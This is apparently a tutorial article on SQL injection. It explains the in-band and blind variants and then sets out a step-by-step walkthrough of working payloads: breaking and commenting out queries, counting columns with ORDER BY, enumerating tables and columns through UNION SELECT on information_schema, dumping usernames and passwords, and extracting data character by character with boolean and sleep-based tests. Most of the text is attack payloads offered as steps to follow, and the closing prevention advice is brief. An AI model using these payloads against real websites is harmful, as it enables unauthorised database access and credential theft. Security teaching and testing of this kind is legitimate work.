SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL Injection vulnerabilities to bypass application security measures. It leads the attacker to retrieve the content of the entire SQL database.
SQL Injection vulnerability may affect any website or web application that uses an SQL database such as MySQL, Oracle, SQL Server, or others. In SQL Injection SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
Types of SQL Injections
SQL injections typically fall under three categories: In-band SQLi (Classic), Inferential SQLi (Blind), and Out-of-band SQLi. You can classify SQL injection types based on the methods they use to access back-end data and their damage potential.
1. In-band SQLi
In-band SQLi’s are typically HTTP GET, POST replies where information retrieved from the database is displayed. With some help of SQL queries, it becomes possible to enumerate the databases, tables, table columns, and rows. There are basically 2 sub-types of this injection:
a) Error-based SQLi
Error based SQLi is an in-band SQL injection technique that depends on the error message thrown by the database server to gather information about the database. We can check it on the browser itself just by manipulating the parameter in url.
b) Union-based SQLi
Union-based SQLi is an in-band SQL injection that takes advantage of UNION SQL operator to combine results of multiple SELECT statements into a single result which is returned as a part of website response. We use Union based SQLi generally when manipulating parameter in url doesn’t give us any output or there’s nothing changes or no error showed up when we apply our query in url.
2. Inferential SQLi (Blind SQLi)
Inferential SQL injection emerges when a web application is vulnerable to SQL injection but there’s no response displayed by HTTP response to the relevant SQL query. No details or error or any kind of information which leaks details about the database will be displayed that's why Inferential SQL injection is also called blind SQL injection.
Inferential SQLi is also divided into 2 types:-
a) Boolean-based Blind SQLi
Boolean-based SQL injection is an inferential SQL Injection that depends on SQL query which executes in order to get information regarding a database of the web application. This injection is mostly based on the prediction of the attacker whether the query returns true or false.
b) Time-based Blind SQLi
Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is true or false.
Steps to use SQL injection are as following :
Step 1 -First find the value that does not exist in the parameter within url by changing its value like -1 or 99999 or 1 2 3 4 5 which gives you no output, just by manipulating parameter values.
Step 2 -Break The Query
Break the query to generate an error in order to insert our query which later digs out the information that we needed.
we can break query by using the following :
Single quote -‘
Double quote -“
Backward slash -\
Bracket “Closing” -)
Single quote with closing bracket -‘)
Double quote with closing bracket -“)
sometimes we don’t even need to break the query so also try that.
Step 3 -Join The Query
In order to apply our query, we also need to join the query that we broke earlier in Step 2
we can join query by using the following :
— +
— space or — %20
# or %23 (here %23 is the value of hash)
1' or ‘1
1’ or 1=’1
‘) — + (if code contains () brackets)
Step 4 -Find out the number of columns using the query
We can find a number of columns by using ORDER BY clause in the url.
In order to get the number of columns, we need to use ORDER BY and just insert numbers in ascending order like 1 2 3 4… so whenever it gives us an error like “ Unknown column in order clause “ that means the number we inserted in the ORDER BY is 1 more than the number of columns so just insert the last digit which doesn’t give an error and that will be the number of columns present in the table.
The query would look something like this:
order by 1
order by 2
order by 3
and the url would look something like :
?id=1' order by 1 — +
?id=1' order by 2 — +
Step 5 -Find where the SQL is showing its output using UNION
This step is important because it decides where our payload is going to be. UNION ALL operator is used to combine the result sets of 2 or more SELECT statements.
Query
UNION ALL select 1,2,3… (depends on the no. of columns we found)
URL
?id=1' union all select database(),2,3 — +
like here our payload is the database() which gives us the name of the database if this doesn’t show us some output then we just have to change the place of our payload.
something like this
?id=1' union all select 1,database(),3 — +
or
?id=1' union all select 1,2,database() — +
we can use following these in the place of our payload to get information about the database in the place of our previous payload.
database() (Database name)
Version() or @@version (MySQL version)
current_user (Current user name)
Step 6 -Get Table names from the database
To get the table names we have to use the Information schema. The information schema is a database that provides the access to details related to databases and their objects like (tables, columns) stored on the server.
Now our query would look something like this :
union all select 1,table_name,3 from information_schema.tables
The place where we put 2 in our query is printing on the screen so that's why that place became our payload injector.
union all select 1,table_name,3 from information_schema.tables — +
To get all table names at once just comment out after our query by adding “ — +” to the end
union all select 1,table_name,3 from information_schema.tables limit 0,1 — +
now from here we can control the output by using limit like 0,1 1,1 1,2
union all select 1,table_name,3 from information_schema.tables where table_schema=’Database name’ limit 0,1 — +
here we are retrieving data according to the name of database in which we found earlier in Step 5
Either you give name of the database or call an function “database()” this will get you the name of tables
?id=-1' union all select table_name,2 from information_schema.tables where table_schema=database() — +
using where clause we can filter the output.
or
You can directly call your table associated with that database like this
?id=-1' union all select table_name,2 from information_schema.tables where table_schema=’database name’ — +
Step 7 -Get all table name from database one by one
we can use “group_concat()” here
url
?id=-1' union all select group_concat(table_name),2 from information_schema.tables where table_schema=database() limit 0,1 — +
Find out which table seems important to you then get data from that table like emails or passwords or usernames.
Step 8 -Get all Tables name from database at once
In order to get all the table names at once we can use following query:
union all select group_concat(table_name),2 from information_schema.tables where table_schema=database()
union all select group_concat(table_name),2 from information_schema.tables where table_schema=’Database name’
and url will look something like
?id=-1' union all select group_concat(table_name),2 from information_schema.tables where table_schema=’Database name’ — +
Step 9 -Find The name of columns
Get all Column names from the table at once by using this query.
query
union all select group_concat(column_name),2,3 from information_schema.columns where table_name=’table name’
url
?id=-1' union all select group_concat(column_name),2,3 from information_schema.columns where table_name=’table name’ — +
In the previous Step-8 we got the name of tables that’s why we are using the table name in this query.
Step 10 -Get all data from columns at once
We got tables name and column names now we can retrive data.
query
union all select group_concat(username),group_concat(password),3 from users where table_schema=database()
url
?id=-1' union all select group_concat(username),group_concat(password),3 from users where table_schema=database() — +
This will give all the data at once in order to get it one by one use the following query
union all select id,username,password from users
Here id,users,password is column names and users is the table name
These are the steps to follow when we are not able to get error or any output from database
Step 11 -If the error won’t be listed or printed ( in case of blind SQLi )
we have to get each letter one by one even the length of the name of database, tables n columns.
For the blind SQLi we have to follow these Steps
Step 11.1 -Find the length of database name
In order to find the length of database name we have to use AND operator and if condition after AND is true it will give output. It’s like hit and trial method n also called double query method.
so our query would be something like
AND (select length(database()) > 3)
AND (select length(database()) < 5)
AND (select length(database()) = 4)
and url would look like
?id=1' AND (select length(database()) > 3) — +
?id=1' AND (select length(database()) < 5) — +
?id=1' AND (select length(database()) = 4) — +
Step 11.2 -Find the Database name
To find the exact name of database we have to approach each letter one by one. So we have to use ascii character encoding and substr function.
query
AND (select ascii(substr(database(),1,1)) < 115)
AND (select ascii(substr(database(),1,1)) = 113)
AND (select ascii(substr(database(),1,1)) > 110)
url
?id=1' AND (select ascii(substr(database(),1,1)) < 115) — +
?id=1' AND (select ascii(substr(database(),1,1)) = 113) — +
?id=1' AND (select ascii(substr(database(),1,1)) > 110) — +
Increase the limit to go to next character. We can use online ascii to text converters to resolve the name of Database.
Step 11.3 -Find the table length
Like this we will get the table length.
query
AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) > 3
AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) < 5
AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 5
url
?id=1' AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) > 2 — +
?id=1' AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) < 10 — +
?id=1' AND ( select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 10 — +
Step 11.4 -Find the table name
Like database name we have to find its each character one by one. So here again we are going to use ascii character encoding and substr function.
AND ( select substr(table_name,0,1)) from information_schema.tables where table_schema=database() limit 0,1) =’a’
and our url would look something like
?id=1' AND ( select substr(table_name,0,1)) from information_schema.tables where table_schema=database() limit 1,1) = ‘a’ — +
To change table name character modify the table_name 0,1 limit. WE just have to put all the characters in place of ‘a’ to match the character one by one each.
Step 12 -This step is for Time based blind SQL injection
Time based SQL injection is used when there’s no change in output whether our query is true or false. So here we make the application sleep for like some seconds. So if the application sleeps then this output shows true and false if application doesn’t sleep for the described amount of time.
query
To find the database name length
select if((length(database()))=4, sleep(10), null);
Get the number of tables present in that database one by one
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1;
We can use similar select statement from Step 11 with if in order to get information with if statement and sleep function.
Get the table length
select if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6, sleep(10), null);
select if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<5, sleep(10), null);
Now we just have to change the select query in the if case statement and whole process will be same as boolean SQLi.
Prevention From SQL injection
SQL injection is one of the biggest vulnerabilities so prevention is necessary.
The only way to prevent SQL injection attacks is the validation of the input. The application source code should never use input directly. The developer must sanitize all the input. And by turning off the visibility of the database errors will also work.
Use whitelists not blacklists. Don’t filter user input based on blacklists.verify and filter user input using strict whitelists only.
Use WAF (Web Application Firewall) -It helps to protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet.